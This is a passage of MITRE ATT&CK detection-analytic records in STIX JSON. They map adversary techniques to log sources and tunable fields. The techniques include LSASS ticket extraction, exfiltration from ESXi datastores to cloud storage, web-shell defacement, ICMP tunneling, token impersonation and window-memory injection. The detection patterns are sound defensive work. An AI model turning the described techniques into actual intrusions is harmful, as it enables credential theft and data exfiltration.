                    "description": "Script interpreters may vary (e.g., zsh, bash, python, osascript)."
                },
                {
                    "field": "SharePath",
                    "description": "Network drive mount points may differ across enterprises."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--67d1900f-9e02-4290-a14c-6d32be508d19",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0125#AN0349",
                    "external_id": "AN0349"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0349",
            "description": "Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of process launched via loginwindow session restore"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:filesystem",
                    "channel": "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "macos:unifiedlog",
                    "channel": "LoginWindow context with associated PID linked to reopened plist paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_file_rename_t or es_event_file_write_t"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Restrict to targeted users or unexpected users writing to plist"
                },
                {
                    "field": "FilePathPattern",
                    "description": "Allow tuning for alternative persistence paths or directory redirection"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate plist write and process execution within logon window"
                },
                {
                    "field": "BinaryAnomalyScore",
                    "description": "Optional scoring of launched binary based on code signing, entropy, and known safe apps"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--67febd8b-36fe-4f72-8647-95fe449ecb5d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0590#AN1622",
                    "external_id": "AN1622"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1622",
            "description": "Adversary modifies externally-facing web content by accessing and overwriting hosted HTML/JS/CSS files, typically following web shell deployment, credential abuse, or exploitation of web application vulnerabilities.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Connections",
                    "channel": "Unusual POST requests to admin or upload endpoints"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "target_directory",
                    "description": "Web root folder varies by environment, e.g., C:\\inetpub\\wwwroot"
                },
                {
                    "field": "UserContext",
                    "description": "May vary based on which service account hosts the website"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time between webshell upload and file overwrite may vary"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--67ff7cc5-7b9b-4d15-b115-b55c3d164c64",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0220#AN0616",
                    "external_id": "AN0616"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0616",
            "description": "Detects USB device insertion followed by high-volume or sensitive file access and staging activity by suspicious processes or accounts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=2003"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SensitiveFilePathRegex",
                    "description": "Match data staging or export paths (e.g., *.docx, *.csv, *.db) to USB volume letters."
                },
                {
                    "field": "UserContext",
                    "description": "Limit to users who do not normally use removable devices (e.g., service accounts)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate events within a short period following USB insert (e.g., 5\u201310 minutes)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--682bd971-c540-4c16-a25a-b928201a320d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0311",
                    "external_id": "AN0311"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0311",
            "description": "Monitoring modification and execution of user or system logon scripts such as in registry Run keys or startup folders.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "WinEventLog:TaskScheduler",
                    "channel": "EventCode=106"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetObject",
                    "description": "Registry path that may vary by user or policy configuration."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Can be tuned to known parent processes to reduce false positives."
                },
                {
                    "field": "TimeWindow",
                    "description": "Logon activity clustered during specific user shifts."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--682f84f1-5571-4d41-b071-53c8f72a88f1",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0570#AN1574",
                    "external_id": "AN1574"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1574",
            "description": "Unusual ESXi processes (vmx, hostd) reading datastore files and generating outbound HTTPS traffic toward external cloud storage endpoints. Defender perspective: anomalous datastore activity followed by network transfers to Dropbox, AWS S3, or other storage services.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "esxi:hostd",
                    "channel": "datastore file access"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:vmkernel",
                    "channel": "network flows to external cloud services"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DatastoreTransferThreshold",
                    "description": "Threshold for outbound data exfiltration from ESXi datastore files."
                },
                {
                    "field": "ApprovedStorageServices",
                    "description": "Whitelist of sanctioned storage providers used by admins for backup operations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--685b05a6-92a3-417d-a917-8e7689e43237",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0522#AN1443",
                    "external_id": "AN1443"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1443",
            "description": "Detects anomalous Kerberos activity such as forged or stolen tickets by correlating malformed fields in logon events, RC4-encrypted TGTs, or TGS requests without corresponding TGT requests. Also detects suspicious processes accessing LSASS memory for ticket extraction.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672, 4634"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TicketLifetimeThreshold",
                    "description": "Threshold for Kerberos TGT lifetimes deviating from domain defaults."
                },
                {
                    "field": "EncryptionTypes",
                    "description": "Monitor for downgraded encryption types (e.g., RC4) in Kerberos tickets."
                },
                {
                    "field": "ProcessAllowlist",
                    "description": "List of expected processes accessing LSASS; deviations may be suspicious."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6869578d-d3e8-4a3c-9717-0a188dc0bafe",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0512#AN1413",
                    "external_id": "AN1413"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1413",
            "description": "Detects non-browser processes that establish encrypted outbound connections (e.g., TLS/SSL) to unfamiliar or atypical destinations for the host/user, following a data staging or compression event.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "ssl.log - Certificate Analysis"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlates file access, encryption, and network transmission within a timeframe (e.g., 5 minutes)."
                },
                {
                    "field": "CertificateIssuerDenylist",
                    "description": "Blocks or flags untrusted certificate authorities in SSL/TLS handshakes."
                },
                {
                    "field": "BinaryAllowlist",
                    "description": "Whitelist for known-good applications allowed to use encrypted outbound traffic."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--688ed638-d3ba-47dc-baa7-16b16a9fe9c8",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0457#AN1258",
                    "external_id": "AN1258"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1258",
            "description": "Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Firewall",
                    "channel": "ICMP/UDP protocol anomaly"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "conn.log, icmp.log"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProtocolEntropyThreshold",
                    "description": "ICMP/UDP packet content entropy filter to identify encoded payloads."
                },
                {
                    "field": "SessionDurationThreshold",
                    "description": "Long ICMP/UDP sessions beyond expected limits (e.g., >5min)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--68a7b414-9864-46c6-b629-bec6f07b5c31",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0892#AN2024",
                    "external_id": "AN2024"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2024",
            "description": "Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. \nDomain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\nMonitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
                    "name": "Domain Name",
                    "channel": "None"
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                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
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                    "channel": "EventCode=15"
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                    "field": "TimeWindow",
                    "description": "Time between registry modification and suspicious binary execution (e.g., < 1 hour) can be tuned."
                },
                {
                    "field": "TargetBinaryNames",
                    "description": "Specific binaries monitored (e.g., utilman.exe, sethc.exe) can be adjusted per OS version and risk tolerance."
                },
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                    "field": "ParentProcess",
                    "description": "Parent process of cmd.exe (e.g., winlogon.exe) may vary across legitimate and adversarial cases."
                },
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                    "field": "UserContext",
                    "description": "Context of SYSTEM account execution vs. administrative sessions may influence tuning."
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            "description": "Applications or launchd services invoking RSA or public-key routines from the Security framework, followed by outbound SSL/TLS sessions with unrecognized certs or anomalous handshakes. Defender observes unified logs of API calls and suspicious network entropy.",
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                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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                {
                    "field": "TrustedDoHEndpoints",
                    "description": "Known legitimate DoH/SSL endpoints."
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Entropy scoring for outbound payloads."
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            "x_mitre_deprecated": false
        },
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                "enterprise-attack"
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                    "channel": "command audit"
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                {
                    "field": "StartupConfigPath",
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                    "field": "CommandPatternMatch",
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                    "channel": "EventCode=1000"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "description": "Time window between repeated service crashes or restarts (e.g., 5 crashes within 1 hour)"
                },
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                    "field": "TargetApplication",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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                    "channel": "EventCode=3, 22"
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                    "description": "Known-good odbcconf.exe arguments in the environment"
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                    "field": "TimeWindow",
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                },
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                    "field": "ApprovedModuleHashes",
                    "description": "Baseline of legitimate DLLs loaded by odbcconf.exe"
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                    "description": "Identify logins to root or sudoers not aligned with normal usage profiles."
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                {
                    "field": "HostDensityThreshold",
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                {
                    "field": "LoginMethod",
                    "description": "Trigger on rarely used access methods such as password instead of SSH key."
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            "x_mitre_domains": [
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                    "channel": "EventCode=4663, 4670, 4656"
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                },
                {
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                    "description": "May be scoped to user logon hours or first X minutes post-authentication"
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                {
                    "field": "user_context",
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            "description": "Detects web-based credential phishing by analyzing traffic to suspicious URLs that mimic login portals and POST credential content.",
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            "x_mitre_domains": [
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                    "name": "NSM:Flow",
                    "channel": "http.log"
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                {
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                    "name": "NSM:Firewall",
                    "channel": "proxy or TLS inspection logs"
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                    "description": "Mismatched browser identifiers used by phishing kits"
                },
                {
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                    "description": "Paths resembling known login forms but hosted on unknown domains"
                }
            ],
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            "name": "Analytic 1190",
            "description": "Detects command-line tools, agents, or scripts making outbound HTTPS connections to popular web services like Discord, Slack, Dropbox, or Graph API in an unusual context.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                    "name": "auditd:SYSCALL",
                    "channel": "connect/sendto"
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                    "name": "NSM:Flow",
                    "channel": "conn.log, ssl.log"
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            ],
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                {
                    "field": "ParentProcess",
                    "description": "Unusual parent-child process behavior initiating external comms (e.g., bash > curl)"
                },
                {
                    "field": "HostnamePattern",
                    "description": "Destination hostnames (e.g., *.dropboxapi.com, *.graph.microsoft.com)"
                },
                {
                    "field": "RequestFrequency",
                    "description": "Repeated requests at unusual intervals, suggesting beaconing"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0746",
            "description": "Abuse of cloud messaging platforms to send mass spam or consume quota-based resources.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "m365:unified",
                    "channel": "SendMessage"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:application",
                    "channel": "High-volume API calls or traffic via messaging or webhook service"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MessageRateThreshold",
                    "description": "Max allowable outbound message rate per user/account"
                },
                {
                    "field": "APIKeyList",
                    "description": "Known authorized API clients for messaging usage"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6eab694d-ea06-4487-99c4-0e21279530e8",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0366#AN1033",
                    "external_id": "AN1033"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1033",
            "description": "Detects adversary behavior where a file with a benign-looking first extension (e.g., .txt, .jpg) ends with a dangerous second extension (e.g., .exe, .scr), and is subsequently executed. The behavior chain includes file creation with misleading naming and user or system-initiated process execution from the disguised file.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "benign_extensions",
                    "description": "List of extensions typically used to masquerade malicious files (.txt, .jpg, .doc, .pdf)"
                },
                {
                    "field": "dangerous_extensions",
                    "description": "List of true executable extensions that may be abused (.exe, .scr, .hta, .lnk)"
                },
                {
                    "field": "monitored_paths",
                    "description": "Specific directories to focus on (e.g., Downloads folder, %TEMP%, Desktop)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Duration between file creation and process execution to correlate activity"
                },
                {
                    "field": "UserContext",
                    "description": "Whether the behavior occurs in a standard user session or elevated context"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6eab700a-548f-48aa-8821-163682fe8bbe",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0498#AN1375",
                    "external_id": "AN1375"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-28T19:57:23.683Z",
            "name": "Analytic 1375",
            "description": "A process creates a brand\u2011new logon session/token (LogonUser*/LsaLogonUser) and then assigns/impersonates it (SetThreadToken/ImpersonateLoggedOnUser) to run actions under that freshly created security context. Chain: (1) suspicious command or script block (e.g., runas /netonly, PowerShell P/Invoke of LogonUser) \u2192 (2) ETW/API evidence of LogonUser*/SetThreadToken \u2192 (3) Security 4624 New Logon (often LogonType=9 NewCredentials or 2/3 from a non\u2011interactive parent) with no interactive desktop \u2192 (4) sysmon 1 process(es) executing with the new LogonId/SID different from the parent process \u2192 (5) optional privileged ops/lateral movement.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "etw:Microsoft-Windows-Security-Auditing",
                    "channel": "api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between LogonUser*/SetThreadToken and the first spawned process (default 5\u201310 minutes)."
                },
                {
                    "field": "SuspiciousLogonTypes",
                    "description": "Which 4624 LogonTypes to treat as high risk (e.g., 9 NewCredentials, 3 Network when sourced locally)."
                },
                {
                    "field": "AllowedImpersonators",
                    "description": "Processes/accounts legitimately creating tokens (e.g., winlogon.exe, lsass.exe, IIS worker, trusted service accounts)."
                },
                {
                    "field": "ParentChildUserMismatch",
                    "description": "Whether to alert on any SID/LogonId mismatch between parent/child not in allow-list."
                },
                {
                    "field": "IntegrityEscalationDelta",
                    "description": "Minimum integrity level jump (e.g., Medium\u2192High/System) to raise severity."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6ec034ac-289d-48d1-b310-021dfbf7087b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0217#AN0608",
                    "external_id": "AN0608"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0608",
            "description": "Detects adversary manipulation of Extra Window Memory (EWM) in a GUI process, where the attacker uses SetWindowLong or SetClassLong to redirect function pointers to injected shellcode stored in shared memory, then triggers execution via a window message like SendNotifyMessage.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
